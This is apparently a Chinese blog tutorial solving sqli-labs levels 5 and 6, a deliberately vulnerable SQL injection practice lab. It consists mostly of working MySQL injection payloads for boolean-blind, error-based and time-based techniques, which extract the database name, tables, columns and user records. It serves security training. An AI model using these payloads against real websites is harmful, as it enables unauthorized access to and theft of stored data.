这几关为盲注会有些复杂,请耐心观看(运行正确的时候只返回you are in...)
Less-5(GET - Double Injection - Single Quotes - String)
手工注入
闭合方式判断
?id=1'
![](https://img-blog.csdnimg.cn/img_convert/3cd3cc61113cd71b5b1ed9999b30e797.png)
两个单引号闭合,想来猜测一下数据库的版本信息
?id=1' and left(version(),1)=5 --+
![](https://img-blog.csdnimg.cn/img_convert/a72b55b1cf64bd946b5861e1eec0816a.png)
修改left(version(),1)中的1(让他递增,我们可以拿到版本号的信息为5.5.53)
查看数据库(由于没有回显就没有回显位)
先看数据库的长度
?id=1' and length(database())=8 --+
![](https://img-blog.csdnimg.cn/img_convert/0ed954df443085472b94ac6d56ff13ba.png)
不断尝试就可以猜出来长度为8
爆破数据库
利用’=‘直接猜
知道长度之后我们就能方便的去猜测范围
?id=1' and left(database(),1)='s' --+
![](https://img-blog.csdnimg.cn/img_convert/19389fcbc2a096987fece6d7ead56f2d.png)
注:此处的left(database(),1)=‘s'(1要递增,而后面等于的字符串的输入是要附带前面的正确的结果
![](https://img-blog.csdnimg.cn/img_convert/519f7429bffc2a15b5c351d77be30aaa.png)
接下来慢慢爆破就可以,才出来就可以知道database是security
利用二分法猜测
二分法建议直接使用ascii编码直接解决
直接在left前面加上substr()或者ascii()就可以
爆破表名
本来是想所有的方法都要写的,相遇篇幅太长就没写,这里就用substr()和ascii()的用法,来解决问题,后面的方法前面都可以使用,一定要看到最后
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
![](https://img-blog.csdnimg.cn/img_convert/d30a1c8dda6ca50c4468da326dfd0da9.png)
注:此处的table_schema是security是一样的,第一个字符就完成了,同理第二个字符就要关注到substr()这个函数
(3条消息) sql注入盲注基础_himobrinehacken的博客-CSDN博客
这里有讲解,不懂的记得去看我们直接把substr(.....,2,1)就可以
![](https://img-blog.csdnimg.cn/img_convert/a1b5941296c5e707089987b461ba6045.png)
接下来就是获取第二个表的信息,注意我们使用的是limit0,1,他的的意思就是熊第0个开始,获取第一个,那么第二个就是limit1,1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
![](https://img-blog.csdnimg.cn/img_convert/6b0c6816e0bdc7c8ae55495f6ff8836d.png)
那么接下来只需要自己慢慢才就可以了
爆破列名
利用regexp获取上个步骤中的users表中的列
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+
![](https://img-blog.csdnimg.cn/img_convert/ec96550a40d4d030a322b03a96fffdd6.png)
这个是选择users表中的列名是否有us**的列
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
![](https://img-blog.csdnimg.cn/img_convert/b5df79b6bb1704872f4d919c119c3b84.png)
这个我们就能看到数据库里面是有username的存在的,也可以通过这个方法查到其他的列
爆破内容
利用ord()和mid()函数获取users表的内容
?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
![](https://img-blog.csdnimg.cn/img_convert/abd7c1beeb358e93c351eb91e31cd788.png)
好的我们还是和之前一样重复就可以了
报错注入
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
![](https://img-blog.csdnimg.cn/img_convert/b2644adeca1f6ef1a3407bf37de28c1f.png)
利用double数字超出范围进行报错注入
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2, 3 --+
注:反正我没成功到时候在去研究研究(可能是版本的问题)
利用bigint数字类型超出范围进行报错注入
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
注:反正我没成功到时候在去研究研究(可能是版本的问题)
xpath 函数报错注入
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
![](https://img-blog.csdnimg.cn/img_convert/8129b6a2042b9f7f3b6485ef5d413622.png)
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
![](https://img-blog.csdnimg.cn/img_convert/30d1d388fe69ef75c157865053ad3676.png)
利用数据的重复性
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
![](https://img-blog.csdnimg.cn/img_convert/21cdfaeee9a3885551821eba43ead8fa.png)
延时注入
利用 sleep()函数进行
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
![](https://img-blog.csdnimg.cn/img_convert/6c98b5636f1fd53370145b667be76908.png)
错误的时候会有5秒延时
利用 BENCHMARK()进行延时注
?id=1'UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
![](https://img-blog.csdnimg.cn/img_convert/71f57625df78b39f4b2da115ae02aa26.png)
当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间
总结
以上是纯手工的方式来解决问题,没有任何脚本软件
自动化脚本
没有区别还是一样的操作方式
(3条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客
Less-6(GET - Double Injection - Double Quotes - String)
这一关和上一关没有什么区别只是将’变成“就可以了